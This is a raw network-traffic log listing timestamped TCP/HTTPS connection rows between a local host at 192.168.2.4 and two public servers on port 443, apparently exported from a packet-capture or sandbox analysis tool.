Dec 30, 2024 11:36:30.282968044 CET	443	49912	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.283010960 CET	443	49912	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.283071995 CET	49912	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.283094883 CET	443	49912	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.283137083 CET	443	49912	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.283179998 CET	49912	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.283839941 CET	49912	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.283853054 CET	443	49912	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.285093069 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.285150051 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.286782026 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.286782026 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.286845922 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.309197903 CET	443	49910	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.309315920 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.309334993 CET	443	49910	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.309456110 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.309546947 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.309571028 CET	443	49910	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.309665918 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.310065985 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.310115099 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.310194969 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.310435057 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.310450077 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.451702118 CET	443	49913	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.451735973 CET	443	49913	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.451818943 CET	49913	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.451828957 CET	443	49913	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.451852083 CET	49913	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.451868057 CET	49913	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.452534914 CET	49913	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.452550888 CET	443	49913	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.455333948 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.455365896 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.456274033 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.459335089 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.459345102 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.798333883 CET	443	49915	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.798396111 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.798424006 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.799334049 CET	443	49915	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.799432993 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.801068068 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.801073074 CET	443	49915	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.801373959 CET	443	49915	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.801717997 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.802160978 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.847337961 CET	443	49915	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.885915041 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.886086941 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.886441946 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.886447906 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.888382912 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.888387918 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.931346893 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.931449890 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.932152033 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.932214022 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.938935041 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.938951969 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.939203024 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.939294100 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.939790964 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.987323046 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.085350990 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.085417986 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.085930109 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.085935116 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.086146116 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.086150885 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.173990965 CET	443	49915	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.174093008 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.174115896 CET	443	49915	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.174165964 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.174467087 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.174510956 CET	443	49915	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.174561977 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.175170898 CET	49921	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.175209045 CET	443	49921	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.175303936 CET	49921	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.175522089 CET	49921	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.175534010 CET	443	49921	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.281419992 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.281476021 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.281516075 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.281516075 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.281531096 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.281634092 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.281641960 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.281658888 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.281852961 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.287127018 CET	49916	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.287146091 CET	443	49916	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.295609951 CET	49922	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.295667887 CET	443	49922	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.295731068 CET	49922	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.295999050 CET	49922	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.296013117 CET	443	49922	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.300501108 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.300739050 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.300751925 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.300884008 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.301124096 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.301156044 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.301315069 CET	443	49917	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.301376104 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.301376104 CET	49917	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.301999092 CET	49923	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.302045107 CET	443	49923	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.302148104 CET	49923	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.304395914 CET	49923	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.304411888 CET	443	49923	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.505388021 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.505413055 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.505516052 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.505532026 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.505592108 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.505711079 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.505747080 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.505778074 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.505882025 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.506505966 CET	49918	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.506521940 CET	443	49918	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.507476091 CET	49924	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.507514000 CET	443	49924	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.507625103 CET	49924	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.507899046 CET	49924	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.507915020 CET	443	49924	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.771831989 CET	443	49921	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.771913052 CET	49921	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.772595882 CET	443	49921	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.772656918 CET	49921	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.776295900 CET	49921	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.776309013 CET	443	49921	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.776561975 CET	443	49921	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.779433966 CET	49921	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.780170918 CET	49921	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.827327967 CET	443	49921	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.895744085 CET	443	49922	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.900506020 CET	49922	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.912944078 CET	443	49923	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.913033009 CET	49923	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.913700104 CET	443	49923	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.913758993 CET	49923	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.977638006 CET	49922	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.977704048 CET	49924	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.977735996 CET	49923	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.977735996 CET	49921	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.977751970 CET	443	49922	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:31.977833986 CET	49922	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:31.994880915 CET	49925	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:31.994934082 CET	443	49925	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:31.996467113 CET	49925	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.020626068 CET	49925	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.020663977 CET	443	49925	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:32.065655947 CET	49926	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.065705061 CET	443	49926	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:32.066018105 CET	49926	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.066337109 CET	49926	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.066350937 CET	443	49926	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:32.648499012 CET	443	49925	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:32.648614883 CET	49925	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.649564028 CET	49925	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.649579048 CET	443	49925	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:32.649734974 CET	49925	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.649743080 CET	443	49925	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:32.684458971 CET	443	49926	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:32.684535027 CET	49926	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.684981108 CET	49926	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.684989929 CET	443	49926	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:32.685178041 CET	49926	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:32.685182095 CET	443	49926	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.021296978 CET	443	49925	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.021367073 CET	443	49925	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.021440983 CET	49925	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.021440983 CET	49925	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.024538994 CET	49925	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.024550915 CET	443	49925	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.026519060 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.026532888 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.026585102 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.026736021 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.026751041 CET	443	49929	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.026880980 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.027070999 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.027096033 CET	443	49929	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.028009892 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.028019905 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.053339005 CET	443	49926	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.054187059 CET	443	49926	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.054245949 CET	49926	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.095824003 CET	49926	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.095850945 CET	443	49926	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.097306013 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.097345114 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.097404003 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.097595930 CET	49931	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.097635984 CET	443	49931	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.097682953 CET	49931	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.098171949 CET	49931	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.098185062 CET	443	49931	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.100720882 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.100737095 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.630220890 CET	443	49929	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.630417109 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.630800009 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.630808115 CET	443	49929	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.632575989 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.632582903 CET	443	49929	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.636399031 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.636507034 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.639586926 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.639597893 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.639864922 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.639950037 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.640327930 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.687335968 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.702636003 CET	443	49931	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.702814102 CET	49931	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.703162909 CET	49931	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.703174114 CET	443	49931	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.703319073 CET	49931	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:33.703326941 CET	443	49931	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:33.710587978 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.710813046 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.712277889 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.712284088 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.712568045 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:33.712635994 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.712939024 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:33.755332947 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.021682978 CET	443	49929	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.021754026 CET	443	49929	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.021790028 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.021919012 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.021984100 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.021984100 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.022008896 CET	443	49929	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.022269011 CET	49929	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.022736073 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.022775888 CET	443	49932	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.023134947 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.023730993 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.023744106 CET	443	49932	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.066914082 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.066966057 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.066994905 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.067033052 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.067049026 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.067097902 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.067380905 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.067430019 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.067610979 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.067744017 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.067744017 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.067764997 CET	443	49928	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.068393946 CET	49928	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.068566084 CET	49935	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.068599939 CET	443	49935	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.068821907 CET	49935	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.070331097 CET	49935	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.070346117 CET	443	49935	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.074884892 CET	443	49931	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.075042009 CET	49931	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.075073957 CET	443	49931	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.075154066 CET	49931	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.075333118 CET	49931	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.075367928 CET	443	49931	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.075506926 CET	49931	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.078454971 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.078486919 CET	443	49936	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.078737974 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.079227924 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.079247952 CET	443	49936	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.215589046 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.215640068 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.215712070 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.215712070 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.215744019 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.215764046 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.215815067 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.215815067 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.216434002 CET	49930	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.216449976 CET	443	49930	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.217475891 CET	49937	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.217502117 CET	443	49937	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.217677116 CET	49937	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.218683004 CET	49937	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.218694925 CET	443	49937	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.651129007 CET	443	49932	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.651216984 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.651905060 CET	443	49932	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.651993036 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.678241014 CET	443	49935	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.678797007 CET	49935	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.681744099 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.681761026 CET	443	49932	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.682172060 CET	443	49932	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.682286978 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.686456919 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.686847925 CET	443	49936	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.686923027 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.687778950 CET	443	49936	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.687827110 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.703959942 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.703974962 CET	443	49936	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.704251051 CET	443	49936	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.706479073 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.731323957 CET	443	49932	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.743834972 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:34.791331053 CET	443	49936	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:34.845124006 CET	443	49937	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.846194029 CET	49937	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.869534016 CET	49935	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.869549036 CET	443	49935	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.869945049 CET	49935	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.869951010 CET	443	49935	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.875045061 CET	49937	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.875066996 CET	443	49937	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:34.875431061 CET	49937	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:34.875437975 CET	443	49937	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:35.035303116 CET	443	49932	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:35.035370111 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:35.035382986 CET	443	49932	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:35.035526991 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:35.035697937 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:35.035736084 CET	443	49932	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:35.035795927 CET	49932	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:35.036487103 CET	49938	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:35.036530018 CET	443	49938	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:35.036592007 CET	49938	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:35.037847996 CET	49938	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:35.037859917 CET	443	49938	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:35.059571028 CET	443	49936	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:35.059621096 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:35.059628963 CET	443	49936	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:35.059698105 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:35.059818029 CET	49936	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:35.059864998 CET	443	49936	142.250.186.142	192.168.2.4
